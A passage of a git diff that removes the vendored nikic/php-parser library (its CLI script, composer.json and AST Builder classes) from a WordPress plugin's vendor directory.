$e->hasColumnInfo()) { - return $e->getMessageWithColumnInfo($code); - } else { - return $e->getMessage(); - } -} - -function showHelp($error = '') { - if ($error) { - fwrite(STDERR, $error . "\n\n"); - } - fwrite($error ? STDERR : STDOUT, <<<'OUTPUT' -Usage: php-parse [operations] file1.php [file2.php ...] - or: php-parse [operations] " false, - 'with-positions' => false, - 'with-recovery' => false, - 'version' => PhpParser\PhpVersion::getNewestSupported(), - ]; - - array_shift($args); - $parseOptions = true; - foreach ($args as $arg) { - if (!$parseOptions) { - $files[] = $arg; - continue; - } - - switch ($arg) { - case '--dump': - case '-d': - $operations[] = 'dump'; - break; - case '--pretty-print': - case '-p': - $operations[] = 'pretty-print'; - break; - case '--json-dump': - case '-j': - $operations[] = 'json-dump'; - break; - case '--var-dump': - $operations[] = 'var-dump'; - break; - case '--resolve-names': - case '-N'; - $operations[] = 'resolve-names'; - break; - case '--with-column-info': - case '-c'; - $attributes['with-column-info'] = true; - break; - case '--with-positions': - case '-P': - $attributes['with-positions'] = true; - break; - case '--with-recovery': - case '-r': - $attributes['with-recovery'] = true; - break; - case '--help': - case '-h'; - showHelp(); - break; - case '--': - $parseOptions = false; - break; - default: - if (preg_match('/^--version=(.*)$/', $arg, $matches)) { - $attributes['version'] = PhpParser\PhpVersion::fromString($matches[1]); - } elseif ($arg[0] === '-' && \strlen($arg[0]) > 1) { - showHelp("Invalid operation $arg."); - } else { - $files[] = $arg; - } - } - } - - return [$operations, $files, $attributes]; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/composer.json deleted file mode 100644 index b52f3ee5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/composer.json +++ /dev/null @@ -1,43 +0,0 @@ -{ - "name": "nikic/php-parser", - "type": "library", - "description": "A PHP parser written in PHP", - "keywords": [ - "php", - "parser" - ], - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Nikita Popov" - } - ], - "require": { - "php": ">=7.4", - "ext-tokenizer": "*", - "ext-json": "*", - "ext-ctype": "*" - }, - "require-dev": { - "phpunit/phpunit": "^9.0", - "ircmaxell/php-yacc": "^0.0.7" - }, - "extra": { - "branch-alias": { - "dev-master": "5.0-dev" - } - }, - "autoload": { - "psr-4": { - "PhpParser\\": "lib/PhpParser" - } - }, - "autoload-dev": { - "psr-4": { - "PhpParser\\": "test/PhpParser/" - } - }, - "bin": [ - "bin/php-parse" - ] -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder.php deleted file mode 100644 index d6aa124c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder.php +++ /dev/null @@ -1,12 +0,0 @@ - */ - protected array $attributes = []; - /** @var list */ - protected array $constants = []; - - /** @var list */ - protected array $attributeGroups = []; - /** @var Identifier|Node\Name|Node\ComplexType|null */ - protected ?Node $type = null; - - /** - * Creates a class constant builder - * - * @param string|Identifier $name Name - * @param Node\Expr|bool|null|int|float|string|array|\UnitEnum $value Value - */ - public function __construct($name, $value) { - $this->constants = [new Const_($name, BuilderHelpers::normalizeValue($value))]; - } - - /** - * Add another constant to const group - * - * @param string|Identifier $name Name - * @param Node\Expr|bool|null|int|float|string|array|\UnitEnum $value Value - * - * @return $this The builder instance (for fluid interface) - */ - public function addConst($name, $value) { - $this->constants[] = new Const_($name, BuilderHelpers::normalizeValue($value)); - - return $this; - } - - /** - * Makes the constant public. - * - * @return $this The builder instance (for fluid interface) - */ - public function makePublic() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PUBLIC); - - return $this; - } - - /** - * Makes the constant protected. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeProtected() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PROTECTED); - - return $this; - } - - /** - * Makes the constant private. - * - * @return $this The builder instance (for fluid interface) - */ - public function makePrivate() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PRIVATE); - - return $this; - } - - /** - * Makes the constant final. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeFinal() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::FINAL); - - return $this; - } - - /** - * Sets doc comment for the constant. - * - * @param PhpParser\Comment\Doc|string $docComment Doc comment to set - * - * @return $this The builder instance (for fluid interface) - */ - public function setDocComment($docComment) { - $this->attributes = [ - 'comments' => [BuilderHelpers::normalizeDocComment($docComment)] - ]; - - return $this; - } - - /** - * Adds an attribute group. - * - * @param Node\Attribute|Node\AttributeGroup $attribute - * - * @return $this The builder instance (for fluid interface) - */ - public function addAttribute($attribute) { - $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); - - return $this; - } - - /** - * Sets the constant type. - * - * @param string|Node\Name|Identifier|Node\ComplexType $type - * - * @return $this - */ - public function setType($type) { - $this->type = BuilderHelpers::normalizeType($type); - - return $this; - } - - /** - * Returns the built class node. - * - * @return Stmt\ClassConst The built constant node - */ - public function getNode(): PhpParser\Node { - return new Stmt\ClassConst( - $this->constants, - $this->flags, - $this->attributes, - $this->attributeGroups, - $this->type - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Class_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Class_.php deleted file mode 100644 index 6f394315..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Class_.php +++ /dev/null @@ -1,151 +0,0 @@ - */ - protected array $implements = []; - protected int $flags = 0; - /** @var list */ - protected array $uses = []; - /** @var list */ - protected array $constants = []; - /** @var list */ - protected array $properties = []; - /** @var list */ - protected array $methods = []; - /** @var list */ - protected array $attributeGroups = []; - - /** - * Creates a class builder. - * - * @param string $name Name of the class - */ - public function __construct(string $name) { - $this->name = $name; - } - - /** - * Extends a class. - * - * @param Name|string $class Name of class to extend - * - * @return $this The builder instance (for fluid interface) - */ - public function extend($class) { - $this->extends = BuilderHelpers::normalizeName($class); - - return $this; - } - - /** - * Implements one or more interfaces. - * - * @param Name|string ...$interfaces Names of interfaces to implement - * - * @return $this The builder instance (for fluid interface) - */ - public function implement(...$interfaces) { - foreach ($interfaces as $interface) { - $this->implements[] = BuilderHelpers::normalizeName($interface); - } - - return $this; - } - - /** - * Makes the class abstract. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeAbstract() { - $this->flags = BuilderHelpers::addClassModifier($this->flags, Modifiers::ABSTRACT); - - return $this; - } - - /** - * Makes the class final. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeFinal() { - $this->flags = BuilderHelpers::addClassModifier($this->flags, Modifiers::FINAL); - - return $this; - } - - /** - * Makes the class readonly. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeReadonly() { - $this->flags = BuilderHelpers::addClassModifier($this->flags, Modifiers::READONLY); - - return $this; - } - - /** - * Adds a statement. - * - * @param Stmt|PhpParser\Builder $stmt The statement to add - * - * @return $this The builder instance (for fluid interface) - */ - public function addStmt($stmt) { - $stmt = BuilderHelpers::normalizeNode($stmt); - - if ($stmt instanceof Stmt\Property) { - $this->properties[] = $stmt; - } elseif ($stmt instanceof Stmt\ClassMethod) { - $this->methods[] = $stmt; - } elseif ($stmt instanceof Stmt\TraitUse) { - $this->uses[] = $stmt; - } elseif ($stmt instanceof Stmt\ClassConst) { - $this->constants[] = $stmt; - } else { - throw new \LogicException(sprintf('Unexpected node of type "%s"', $stmt->getType())); - } - - return $this; - } - - /** - * Adds an attribute group. - * - * @param Node\Attribute|Node\AttributeGroup $attribute - * - * @return $this The builder instance (for fluid interface) - */ - public function addAttribute($attribute) { - $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); - - return $this; - } - - /** - * Returns the built class node. - * - * @return Stmt\Class_ The built class node - */ - public function getNode(): PhpParser\Node { - return new Stmt\Class_($this->name, [ - 'flags' => $this->flags, - 'extends' => $this->extends, - 'implements' => $this->implements, - 'stmts' => array_merge($this->uses, $this->constants, $this->properties, $this->methods), - 'attrGroups' => $this->attributeGroups, - ], $this->attributes); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Declaration.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Declaration.php deleted file mode 100644 index 488b7213..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Declaration.php +++ /dev/null @@ -1,50 +0,0 @@ - */ - protected array $attributes = []; - - /** - * Adds a statement. - * - * @param PhpParser\Node\Stmt|PhpParser\Builder $stmt The statement to add - * - * @return $this The builder instance (for fluid interface) - */ - abstract public function addStmt($stmt); - - /** - * Adds multiple statements. - * - * @param (PhpParser\Node\Stmt|PhpParser\Builder)[] $stmts The statements to add - * - * @return $this The builder instance (for fluid interface) - */ - public function addStmts(array $stmts) { - foreach ($stmts as $stmt) { - $this->addStmt($stmt); - } - - return $this; - } - - /** - * Sets doc comment for the declaration. - * - * @param PhpParser\Comment\Doc|string $docComment Doc comment to set - * - * @return $this The builder instance (for fluid interface) - */ - public function setDocComment($docComment) { - $this->attributes['comments'] = [ - BuilderHelpers::normalizeDocComment($docComment) - ]; - - return $this; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/EnumCase.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/EnumCase.php deleted file mode 100644 index c766321b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/EnumCase.php +++ /dev/null @@ -1,86 +0,0 @@ - */ - protected array $attributes = []; - - /** @var list */ - protected array $attributeGroups = []; - - /** - * Creates an enum case builder. - * - * @param string|Identifier $name Name - */ - public function __construct($name) { - $this->name = $name; - } - - /** - * Sets the value. - * - * @param Node\Expr|string|int $value - * - * @return $this - */ - public function setValue($value) { - $this->value = BuilderHelpers::normalizeValue($value); - - return $this; - } - - /** - * Sets doc comment for the constant. - * - * @param PhpParser\Comment\Doc|string $docComment Doc comment to set - * - * @return $this The builder instance (for fluid interface) - */ - public function setDocComment($docComment) { - $this->attributes = [ - 'comments' => [BuilderHelpers::normalizeDocComment($docComment)] - ]; - - return $this; - } - - /** - * Adds an attribute group. - * - * @param Node\Attribute|Node\AttributeGroup $attribute - * - * @return $this The builder instance (for fluid interface) - */ - public function addAttribute($attribute) { - $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); - - return $this; - } - - /** - * Returns the built enum case node. - * - * @return Stmt\EnumCase The built constant node - */ - public function getNode(): PhpParser\Node { - return new Stmt\EnumCase( - $this->name, - $this->value, - $this->attributeGroups, - $this->attributes - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Enum_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Enum_.php deleted file mode 100644 index c00df03f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Enum_.php +++ /dev/null @@ -1,116 +0,0 @@ - */ - protected array $implements = []; - /** @var list */ - protected array $uses = []; - /** @var list */ - protected array $enumCases = []; - /** @var list */ - protected array $constants = []; - /** @var list */ - protected array $methods = []; - /** @var list */ - protected array $attributeGroups = []; - - /** - * Creates an enum builder. - * - * @param string $name Name of the enum - */ - public function __construct(string $name) { - $this->name = $name; - } - - /** - * Sets the scalar type. - * - * @param string|Identifier $scalarType - * - * @return $this - */ - public function setScalarType($scalarType) { - $this->scalarType = BuilderHelpers::normalizeType($scalarType); - - return $this; - } - - /** - * Implements one or more interfaces. - * - * @param Name|string ...$interfaces Names of interfaces to implement - * - * @return $this The builder instance (for fluid interface) - */ - public function implement(...$interfaces) { - foreach ($interfaces as $interface) { - $this->implements[] = BuilderHelpers::normalizeName($interface); - } - - return $this; - } - - /** - * Adds a statement. - * - * @param Stmt|PhpParser\Builder $stmt The statement to add - * - * @return $this The builder instance (for fluid interface) - */ - public function addStmt($stmt) { - $stmt = BuilderHelpers::normalizeNode($stmt); - - if ($stmt instanceof Stmt\EnumCase) { - $this->enumCases[] = $stmt; - } elseif ($stmt instanceof Stmt\ClassMethod) { - $this->methods[] = $stmt; - } elseif ($stmt instanceof Stmt\TraitUse) { - $this->uses[] = $stmt; - } elseif ($stmt instanceof Stmt\ClassConst) { - $this->constants[] = $stmt; - } else { - throw new \LogicException(sprintf('Unexpected node of type "%s"', $stmt->getType())); - } - - return $this; - } - - /** - * Adds an attribute group. - * - * @param Node\Attribute|Node\AttributeGroup $attribute - * - * @return $this The builder instance (for fluid interface) - */ - public function addAttribute($attribute) { - $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); - - return $this; - } - - /** - * Returns the built class node. - * - * @return Stmt\Enum_ The built enum node - */ - public function getNode(): PhpParser\Node { - return new Stmt\Enum_($this->name, [ - 'scalarType' => $this->scalarType, - 'implements' => $this->implements, - 'stmts' => array_merge($this->uses, $this->enumCases, $this->constants, $this->methods), - 'attrGroups' => $this->attributeGroups, - ], $this->attributes); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/FunctionLike.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/FunctionLike.php deleted file mode 100644 index ff79cb6b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/FunctionLike.php +++ /dev/null @@ -1,73 +0,0 @@ -returnByRef = true; - - return $this; - } - - /** - * Adds a parameter. - * - * @param Node\Param|Param $param The parameter to add - * - * @return $this The builder instance (for fluid interface) - */ - public function addParam($param) { - $param = BuilderHelpers::normalizeNode($param); - - if (!$param instanceof Node\Param) { - throw new \LogicException(sprintf('Expected parameter node, got "%s"', $param->getType())); - } - - $this->params[] = $param; - - return $this; - } - - /** - * Adds multiple parameters. - * - * @param (Node\Param|Param)[] $params The parameters to add - * - * @return $this The builder instance (for fluid interface) - */ - public function addParams(array $params) { - foreach ($params as $param) { - $this->addParam($param); - } - - return $this; - } - - /** - * Sets the return type for PHP 7. - * - * @param string|Node\Name|Node\Identifier|Node\ComplexType $type - * - * @return $this The builder instance (for fluid interface) - */ - public function setReturnType($type) { - $this->returnType = BuilderHelpers::normalizeType($type); - - return $this; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Function_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Function_.php deleted file mode 100644 index 48f5f693..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Function_.php +++ /dev/null @@ -1,67 +0,0 @@ - */ - protected array $stmts = []; - - /** @var list */ - protected array $attributeGroups = []; - - /** - * Creates a function builder. - * - * @param string $name Name of the function - */ - public function __construct(string $name) { - $this->name = $name; - } - - /** - * Adds a statement. - * - * @param Node|PhpParser\Builder $stmt The statement to add - * - * @return $this The builder instance (for fluid interface) - */ - public function addStmt($stmt) { - $this->stmts[] = BuilderHelpers::normalizeStmt($stmt); - - return $this; - } - - /** - * Adds an attribute group. - * - * @param Node\Attribute|Node\AttributeGroup $attribute - * - * @return $this The builder instance (for fluid interface) - */ - public function addAttribute($attribute) { - $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); - - return $this; - } - - /** - * Returns the built function node. - * - * @return Stmt\Function_ The built function node - */ - public function getNode(): Node { - return new Stmt\Function_($this->name, [ - 'byRef' => $this->returnByRef, - 'params' => $this->params, - 'returnType' => $this->returnType, - 'stmts' => $this->stmts, - 'attrGroups' => $this->attributeGroups, - ], $this->attributes); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Interface_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Interface_.php deleted file mode 100644 index 13dd3f7f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Interface_.php +++ /dev/null @@ -1,94 +0,0 @@ - */ - protected array $extends = []; - /** @var list */ - protected array $constants = []; - /** @var list */ - protected array $methods = []; - /** @var list */ - protected array $attributeGroups = []; - - /** - * Creates an interface builder. - * - * @param string $name Name of the interface - */ - public function __construct(string $name) { - $this->name = $name; - } - - /** - * Extends one or more interfaces. - * - * @param Name|string ...$interfaces Names of interfaces to extend - * - * @return $this The builder instance (for fluid interface) - */ - public function extend(...$interfaces) { - foreach ($interfaces as $interface) { - $this->extends[] = BuilderHelpers::normalizeName($interface); - } - - return $this; - } - - /** - * Adds a statement. - * - * @param Stmt|PhpParser\Builder $stmt The statement to add - * - * @return $this The builder instance (for fluid interface) - */ - public function addStmt($stmt) { - $stmt = BuilderHelpers::normalizeNode($stmt); - - if ($stmt instanceof Stmt\ClassConst) { - $this->constants[] = $stmt; - } elseif ($stmt instanceof Stmt\ClassMethod) { - // we erase all statements in the body of an interface method - $stmt->stmts = null; - $this->methods[] = $stmt; - } else { - throw new \LogicException(sprintf('Unexpected node of type "%s"', $stmt->getType())); - } - - return $this; - } - - /** - * Adds an attribute group. - * - * @param Node\Attribute|Node\AttributeGroup $attribute - * - * @return $this The builder instance (for fluid interface) - */ - public function addAttribute($attribute) { - $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); - - return $this; - } - - /** - * Returns the built interface node. - * - * @return Stmt\Interface_ The built interface node - */ - public function getNode(): PhpParser\Node { - return new Stmt\Interface_($this->name, [ - 'extends' => $this->extends, - 'stmts' => array_merge($this->constants, $this->methods), - 'attrGroups' => $this->attributeGroups, - ], $this->attributes); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Method.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Method.php deleted file mode 100644 index 8358dbe3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Method.php +++ /dev/null @@ -1,147 +0,0 @@ -|null */ - protected ?array $stmts = []; - - /** @var list */ - protected array $attributeGroups = []; - - /** - * Creates a method builder. - * - * @param string $name Name of the method - */ - public function __construct(string $name) { - $this->name = $name; - } - - /** - * Makes the method public. - * - * @return $this The builder instance (for fluid interface) - */ - public function makePublic() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PUBLIC); - - return $this; - } - - /** - * Makes the method protected. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeProtected() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PROTECTED); - - return $this; - } - - /** - * Makes the method private. - * - * @return $this The builder instance (for fluid interface) - */ - public function makePrivate() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PRIVATE); - - return $this; - } - - /** - * Makes the method static. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeStatic() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::STATIC); - - return $this; - } - - /** - * Makes the method abstract. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeAbstract() { - if (!empty($this->stmts)) { - throw new \LogicException('Cannot make method with statements abstract'); - } - - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::ABSTRACT); - $this->stmts = null; // abstract methods don't have statements - - return $this; - } - - /** - * Makes the method final. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeFinal() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::FINAL); - - return $this; - } - - /** - * Adds a statement. - * - * @param Node|PhpParser\Builder $stmt The statement to add - * - * @return $this The builder instance (for fluid interface) - */ - public function addStmt($stmt) { - if (null === $this->stmts) { - throw new \LogicException('Cannot add statements to an abstract method'); - } - - $this->stmts[] = BuilderHelpers::normalizeStmt($stmt); - - return $this; - } - - /** - * Adds an attribute group. - * - * @param Node\Attribute|Node\AttributeGroup $attribute - * - * @return $this The builder instance (for fluid interface) - */ - public function addAttribute($attribute) { - $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); - - return $this; - } - - /** - * Returns the built method node. - * - * @return Stmt\ClassMethod The built method node - */ - public function getNode(): Node { - return new Stmt\ClassMethod($this->name, [ - 'flags' => $this->flags, - 'byRef' => $this->returnByRef, - 'params' => $this->params, - 'returnType' => $this->returnType, - 'stmts' => $this->stmts, - 'attrGroups' => $this->attributeGroups, - ], $this->attributes); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Namespace_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Namespace_.php deleted file mode 100644 index 80fe6f84..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Namespace_.php +++ /dev/null @@ -1,45 +0,0 @@ -name = null !== $name ? BuilderHelpers::normalizeName($name) : null; - } - - /** - * Adds a statement. - * - * @param Node|PhpParser\Builder $stmt The statement to add - * - * @return $this The builder instance (for fluid interface) - */ - public function addStmt($stmt) { - $this->stmts[] = BuilderHelpers::normalizeStmt($stmt); - - return $this; - } - - /** - * Returns the built node. - * - * @return Stmt\Namespace_ The built node - */ - public function getNode(): Node { - return new Stmt\Namespace_($this->name, $this->stmts, $this->attributes); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Param.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Param.php deleted file mode 100644 index 324a32b0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Param.php +++ /dev/null @@ -1,171 +0,0 @@ - */ - protected array $attributeGroups = []; - - /** - * Creates a parameter builder. - * - * @param string $name Name of the parameter - */ - public function __construct(string $name) { - $this->name = $name; - } - - /** - * Sets default value for the parameter. - * - * @param mixed $value Default value to use - * - * @return $this The builder instance (for fluid interface) - */ - public function setDefault($value) { - $this->default = BuilderHelpers::normalizeValue($value); - - return $this; - } - - /** - * Sets type for the parameter. - * - * @param string|Node\Name|Node\Identifier|Node\ComplexType $type Parameter type - * - * @return $this The builder instance (for fluid interface) - */ - public function setType($type) { - $this->type = BuilderHelpers::normalizeType($type); - if ($this->type == 'void') { - throw new \LogicException('Parameter type cannot be void'); - } - - return $this; - } - - /** - * Make the parameter accept the value by reference. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeByRef() { - $this->byRef = true; - - return $this; - } - - /** - * Make the parameter variadic - * - * @return $this The builder instance (for fluid interface) - */ - public function makeVariadic() { - $this->variadic = true; - - return $this; - } - - /** - * Makes the (promoted) parameter public. - * - * @return $this The builder instance (for fluid interface) - */ - public function makePublic() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PUBLIC); - - return $this; - } - - /** - * Makes the (promoted) parameter protected. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeProtected() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PROTECTED); - - return $this; - } - - /** - * Makes the (promoted) parameter private. - * - * @return $this The builder instance (for fluid interface) - */ - public function makePrivate() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PRIVATE); - - return $this; - } - - /** - * Makes the (promoted) parameter readonly. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeReadonly() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::READONLY); - - return $this; - } - - /** - * Gives the promoted property private(set) visibility. - * - * @return $this The builder instance (for fluid interface) - */ - public function makePrivateSet() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PRIVATE_SET); - - return $this; - } - - /** - * Gives the promoted property protected(set) visibility. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeProtectedSet() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PROTECTED_SET); - - return $this; - } - - /** - * Adds an attribute group. - * - * @param Node\Attribute|Node\AttributeGroup $attribute - * - * @return $this The builder instance (for fluid interface) - */ - public function addAttribute($attribute) { - $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); - - return $this; - } - - /** - * Returns the built parameter node. - * - * @return Node\Param The built parameter node - */ - public function getNode(): Node { - return new Node\Param( - new Node\Expr\Variable($this->name), - $this->default, $this->type, $this->byRef, $this->variadic, [], $this->flags, $this->attributeGroups - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Property.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Property.php deleted file mode 100644 index c80fe481..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/Property.php +++ /dev/null @@ -1,223 +0,0 @@ - */ - protected array $attributes = []; - /** @var null|Identifier|Name|ComplexType */ - protected ?Node $type = null; - /** @var list */ - protected array $attributeGroups = []; - /** @var list */ - protected array $hooks = []; - - /** - * Creates a property builder. - * - * @param string $name Name of the property - */ - public function __construct(string $name) { - $this->name = $name; - } - - /** - * Makes the property public. - * - * @return $this The builder instance (for fluid interface) - */ - public function makePublic() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PUBLIC); - - return $this; - } - - /** - * Makes the property protected. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeProtected() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PROTECTED); - - return $this; - } - - /** - * Makes the property private. - * - * @return $this The builder instance (for fluid interface) - */ - public function makePrivate() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PRIVATE); - - return $this; - } - - /** - * Makes the property static. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeStatic() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::STATIC); - - return $this; - } - - /** - * Makes the property readonly. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeReadonly() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::READONLY); - - return $this; - } - - /** - * Makes the property abstract. Requires at least one property hook to be specified as well. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeAbstract() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::ABSTRACT); - - return $this; - } - - /** - * Makes the property final. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeFinal() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::FINAL); - - return $this; - } - - /** - * Gives the property private(set) visibility. - * - * @return $this The builder instance (for fluid interface) - */ - public function makePrivateSet() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PRIVATE_SET); - - return $this; - } - - /** - * Gives the property protected(set) visibility. - * - * @return $this The builder instance (for fluid interface) - */ - public function makeProtectedSet() { - $this->flags = BuilderHelpers::addModifier($this->flags, Modifiers::PROTECTED_SET); - - return $this; - } - - /** - * Sets default value for the property. - * - * @param mixed $value Default value to use - * - * @return $this The builder instance (for fluid interface) - */ - public function setDefault($value) { - $this->default = BuilderHelpers::normalizeValue($value); - - return $this; - } - - /** - * Sets doc comment for the property. - * - * @param PhpParser\Comment\Doc|string $docComment Doc comment to set - * - * @return $this The builder instance (for fluid interface) - */ - public function setDocComment($docComment) { - $this->attributes = [ - 'comments' => [BuilderHelpers::normalizeDocComment($docComment)] - ]; - - return $this; - } - - /** - * Sets the property type for PHP 7.4+. - * - * @param string|Name|Identifier|ComplexType $type - * - * @return $this - */ - public function setType($type) { - $this->type = BuilderHelpers::normalizeType($type); - - return $this; - } - - /** - * Adds an attribute group. - * - * @param Node\Attribute|Node\AttributeGroup $attribute - * - * @return $this The builder instance (for fluid interface) - */ - public function addAttribute($attribute) { - $this->attributeGroups[] = BuilderHelpers::normalizeAttribute($attribute); - - return $this; - } - - /** - * Adds a property hook. - * - * @return $this The builder instance (for fluid interface) - */ - public function addHook(Node\PropertyHook $hook) { - $this->hooks[] = $hook; - - return $this; - } - - /** - * Returns the built class node. - * - * @return Stmt\Property The built property node - */ - public function getNode(): PhpParser\Node { - if ($this->flags & Modifiers::ABSTRACT && !$this->hooks) { - throw new PhpParser\Error('Only hooked properties may be declared abstract'); - } - - return new Stmt\Property( - $this->flags !== 0 ? $this->flags : Modifiers::PUBLIC, - [ - new Node\PropertyItem($this->name, $this->default) - ], - $this->attributes, - $this->type, - $this->attributeGroups, - $this->hooks - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Builder/TraitUse.php 